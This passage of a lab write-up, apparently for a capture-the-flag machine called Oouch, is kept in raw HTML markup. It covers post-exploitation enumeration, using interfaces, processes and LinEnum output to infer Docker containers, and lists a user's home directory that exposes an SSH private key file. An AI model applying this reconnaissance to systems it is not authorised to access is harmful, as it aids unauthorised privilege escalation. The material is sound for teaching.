class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">12<\/span><span class=\"enlighter-text\">: vethcbf5974@if11: <\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-e3\">BROADCAST<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">MULTICAST<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">UP<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">LOWER_UP<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"> mtu <\/span><span class=\"enlighter-n1\">1500<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Especially the<span>\u00a0<\/span><em>bridge<span>\u00a0<\/span><\/em>and<span>\u00a0<\/span><em>veth<span>\u00a0<\/span><\/em>interfaces give us a clear indication that this host is running the services inside of docker containers.<span>\u00a0<\/span><em>Docker<span>\u00a0<\/span><\/em>creates for each network a bridge adapter and for each container a pair of<span>\u00a0<\/span><em>veth<span>\u00a0<\/span><\/em>interfaces. One<span>\u00a0<\/span><em>veth<span>\u00a0<\/span><\/em>interface of each pair is then put in a separate network namespace, where the container lives in. This interface can no longer be seen in the default namespace (the namespace we are currently in), but is only visible inside the container. The other pair becomes plugged into the bridge. This way, all containers can communicate with each other, but are clearly separated inside their own network namespace. The following graphic provides a simple illustration:<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/26-docker-ns.png\" title_text=\"26-docker-ns\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<p>There are of course other indicators that tell us that the host is running his services inside of docker containers. E.g. you can also look at the running processes, and find that there are multiple container related tasks running. One example are the proxies, that map the container ports to the local host system:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">root <\/span><span class=\"enlighter-n1\">846<\/span><span class=\"enlighter-text\"> 0.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> 0.<\/span><span class=\"enlighter-n1\">4<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">401232<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">9660<\/span><span class=\"enlighter-text\"> ? Sl <\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">48<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"> \/usr\/bin\/docker-proxy -proto tcp -host-ip 0.0.0.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> -host-port <\/span><span class=\"enlighter-n1\">5000<\/span><span class=\"enlighter-text\"> -container-ip 172.18.0.<\/span><span class=\"enlighter-n1\">4<\/span><span class=\"enlighter-text\"> -container-port <\/span><span class=\"enlighter-n1\">5000<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">root <\/span><span class=\"enlighter-n1\">873<\/span><span class=\"enlighter-text\"> 0.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> 0.<\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">401232<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">7504<\/span><span class=\"enlighter-text\"> ? Sl <\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">48<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"> \/usr\/bin\/docker-proxy -proto tcp -host-ip 0.0.0.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> -host-port <\/span><span class=\"enlighter-n1\">8000<\/span><span class=\"enlighter-text\"> -container-ip 172.18.0.<\/span><span class=\"enlighter-n1\">5<\/span><span class=\"enlighter-text\"> -container-port <\/span><span class=\"enlighter-n1\">8000<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Finally,<span>\u00a0<\/span><em>LineEnum<span>\u00a0<\/span><\/em>does explicitly tell you that the host is running docker and also provides you the corresponding version information:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">+<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> Looks like we're hosting Docker:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Docker<\/span><span class=\"enlighter-text\"> version 19.03.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\">, build 74b1e89<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Okay, so now we know that docker is running on our server. We can also already say, that the number of containers is probably four, since we observed four veth interfaces. Then thinking about the application structure, this suggests the following container logic:<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/27-docker-setup-1.png\" title_text=\"27-docker-setup-1\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<p>When looking on the other running processes, we can now guess that some of them are not running on the actual host, but in dedicated application containers.<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Database<\/span><span class=\"enlighter-text\"> Containers:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">systemd+ <\/span><span class=\"enlighter-n1\">680<\/span><span class=\"enlighter-text\"> 0.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> 4.<\/span><span class=\"enlighter-n1\">8<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">1462252<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">98816<\/span><span class=\"enlighter-text\"> ? Ssl <\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">48<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"> mysqld<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">systemd+ <\/span><span class=\"enlighter-n1\">686<\/span><span class=\"enlighter-text\"> 0.<\/span><span class=\"enlighter-n1\">2<\/span><span class=\"enlighter-text\"> 5.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">1462252<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">103732<\/span><span class=\"enlighter-text\"> ? Ssl <\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">48<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"> mysqld<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Application<\/span><span class=\"enlighter-text\"> Containers:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">www-data <\/span><span class=\"enlighter-n1\">928<\/span><span class=\"enlighter-text\"> 0.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> 0.<\/span><span class=\"enlighter-n1\">4<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">14052<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">8948<\/span><span class=\"enlighter-text\"> ? Ss <\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">48<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"> \/venv\/bin\/uwsgi --<\/span><span class=\"enlighter-k9\">show<\/span><span class=\"enlighter-text\">-config<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">www-data <\/span><span class=\"enlighter-n1\">1131<\/span><span class=\"enlighter-text\"> 0.<\/span><span class=\"enlighter-n1\">2<\/span><span class=\"enlighter-text\"> 1.<\/span><span class=\"enlighter-n1\">9<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">348444<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">40036<\/span><span class=\"enlighter-text\"> ? Sl <\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">48<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"> \/venv\/bin\/uwsgi --<\/span><span class=\"enlighter-k9\">show<\/span><span class=\"enlighter-text\">-config<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">www-data <\/span><span class=\"enlighter-n1\">1132<\/span><span class=\"enlighter-text\"> 0.<\/span><span class=\"enlighter-n1\">2<\/span><span class=\"enlighter-text\"> 1.<\/span><span class=\"enlighter-n1\">9<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">348444<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">40052<\/span><span class=\"enlighter-text\"> ? Sl <\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">48<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"> \/venv\/bin\/uwsgi --<\/span><span class=\"enlighter-k9\">show<\/span><span class=\"enlighter-text\">-config<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">www-data <\/span><span class=\"enlighter-n1\">1133<\/span><span class=\"enlighter-text\"> 0.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> 0.<\/span><span class=\"enlighter-n1\">6<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">22248<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">12588<\/span><span class=\"enlighter-text\"> ? S <\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">48<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"> \/venv\/bin\/uwsgi --<\/span><span class=\"enlighter-k9\">show<\/span><span class=\"enlighter-text\">-config<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">www-data <\/span><span class=\"enlighter-n1\">1145<\/span><span class=\"enlighter-text\"> 0.<\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> 2.<\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">58592<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">48444<\/span><span class=\"enlighter-text\"> ? S <\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">48<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"> uwsgi --ini uwsgi.ini --chmod-sock=<\/span><span class=\"enlighter-n1\">666<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">www-data <\/span><span class=\"enlighter-n1\">1146<\/span><span class=\"enlighter-text\"> 0.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> 0.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">11264<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">3524<\/span><span class=\"enlighter-text\"> ? S <\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">48<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"> nginx: worker process<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">www-data <\/span><span class=\"enlighter-n1\">1148<\/span><span class=\"enlighter-text\"> 0.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> 1.<\/span><span class=\"enlighter-n1\">8<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">58592<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">38600<\/span><span class=\"enlighter-text\"> ? S <\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">48<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"> uwsgi --ini uwsgi.ini --chmod-sock=<\/span><span class=\"enlighter-n1\">666<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">www-data <\/span><span class=\"enlighter-n1\">1149<\/span><span class=\"enlighter-text\"> 0.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> 1.<\/span><span class=\"enlighter-n1\">8<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">58592<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">38600<\/span><span class=\"enlighter-text\"> ? S <\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">48<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"> uwsgi --ini uwsgi.ini --chmod-sock=<\/span><span class=\"enlighter-n1\">666<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<h3 id=\"roadmap\">4.2 \u2013 Checking the Roadmap<\/h3>\n<p>Knowing the container structure of the system is of course nice, but does not give us a huge edge when looking for privilege escalation vectors. So lets see what else we got. Remember the<span>\u00a0<\/span><em>FTP<span>\u00a0<\/span><\/em>banner? It said that his server is<span>\u00a0<\/span><em>qtc\u2019s<span>\u00a0<\/span><\/em>development server. So the home directory of<span>\u00a0<\/span><em>qtc<span>\u00a0<\/span><\/em>is definitely worth looking. We can run the<span>\u00a0<\/span><code>ls -lRa<\/code><span>\u00a0<\/span>command to enumerate all available files in<span>\u00a0<\/span><em>qtc\u2019s<\/em><span>\u00a0<\/span>home directory:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">qtc@oouch:~$ ls -lRa<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">.:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">total <\/span><span class=\"enlighter-n1\">36<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwxr-xr-x <\/span><span class=\"enlighter-n1\">4<\/span><span class=\"enlighter-text\"> qtc qtc <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">14<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">59<\/span><span class=\"enlighter-text\"> .<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwxr-xr-x <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Aug <\/span><span class=\"enlighter-n1\">28<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">18<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">14<\/span><span class=\"enlighter-text\"> ..<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">lrwxrwxrwx <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">9<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">14<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">19<\/span><span class=\"enlighter-text\"> .bash_history -<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"> \/dev\/null<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw-r--r-- <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> qtc qtc <\/span><span class=\"enlighter-n1\">220<\/span><span class=\"enlighter-text\"> Aug <\/span><span class=\"enlighter-n1\">28<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">18<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">14<\/span><span class=\"enlighter-text\"> .bash_logout<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw-r--r-- <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> qtc qtc <\/span><span class=\"enlighter-n1\">3526<\/span><span class=\"enlighter-text\"> Aug <\/span><span class=\"enlighter-n1\">28<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">18<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">14<\/span><span class=\"enlighter-text\"> .bashrc<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwx------ <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> qtc qtc <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">14<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">59<\/span><span class=\"enlighter-text\"> .gnupg<\/span><\/div>\n<\/div>\n<div class=\"enlighter-special\">\n<div><span class=\"enlighter-text\">-rw-r--r-- <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">55<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">14<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">21<\/span><span class=\"enlighter-text\"> .note.txt<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw-r--r-- <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> qtc qtc <\/span><span class=\"enlighter-n1\">807<\/span><span class=\"enlighter-text\"> Aug <\/span><span class=\"enlighter-n1\">28<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">18<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">14<\/span><span class=\"enlighter-text\"> .profile<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwx------ <\/span><span class=\"enlighter-n1\">2<\/span><span class=\"enlighter-text\"> qtc qtc <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">15<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"> .ssh<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw-r--r-- <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> qtc qtc <\/span><span class=\"enlighter-n1\">33<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">14<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">21<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k9\">user<\/span><span class=\"enlighter-text\">.txt<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">.\/.gnupg:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">total <\/span><span class=\"enlighter-n1\">12<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwx------ <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> qtc qtc <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">14<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">59<\/span><span class=\"enlighter-text\"> .<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwxr-xr-x <\/span><span class=\"enlighter-n1\">4<\/span><span class=\"enlighter-text\"> qtc qtc <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">14<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">59<\/span><span class=\"enlighter-text\"> ..<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwx------ <\/span><span class=\"enlighter-n1\">2<\/span><span class=\"enlighter-text\"> qtc qtc <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">14<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">59<\/span><span class=\"enlighter-text\"> private-keys-v1.d<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">.\/.gnupg\/private-keys-v1.d:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">total <\/span><span class=\"enlighter-n1\">8<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwx------ <\/span><span class=\"enlighter-n1\">2<\/span><span class=\"enlighter-text\"> qtc qtc <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">14<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">59<\/span><span class=\"enlighter-text\"> .<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwx------ <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> qtc qtc <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">14<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">59<\/span><span class=\"enlighter-text\"> ..<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">.\/.ssh:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">total <\/span><span class=\"enlighter-n1\">20<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwx------ <\/span><span class=\"enlighter-n1\">2<\/span><span class=\"enlighter-text\"> qtc qtc <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">15<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"> .<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwxr-xr-x <\/span><span class=\"enlighter-n1\">4<\/span><span class=\"enlighter-text\"> qtc qtc <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">14<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">59<\/span><span class=\"enlighter-text\"> ..<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rwx------ <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> qtc qtc <\/span><span class=\"enlighter-n1\">568<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">14<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">21<\/span><span class=\"enlighter-text\"> authorized_keys<\/span><\/div>\n<\/div>\n<div class=\"enlighter-special\">\n<div><span class=\"enlighter-text\">-r-------- <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> qtc qtc <\/span><span class=\"enlighter-n1\">2602<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">14<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">21<\/span><span class=\"enlighter-text\"> id_rsa<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw-r--r-- <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> qtc qtc <\/span><span class=\"enlighter-n1\">142<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">15<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"> 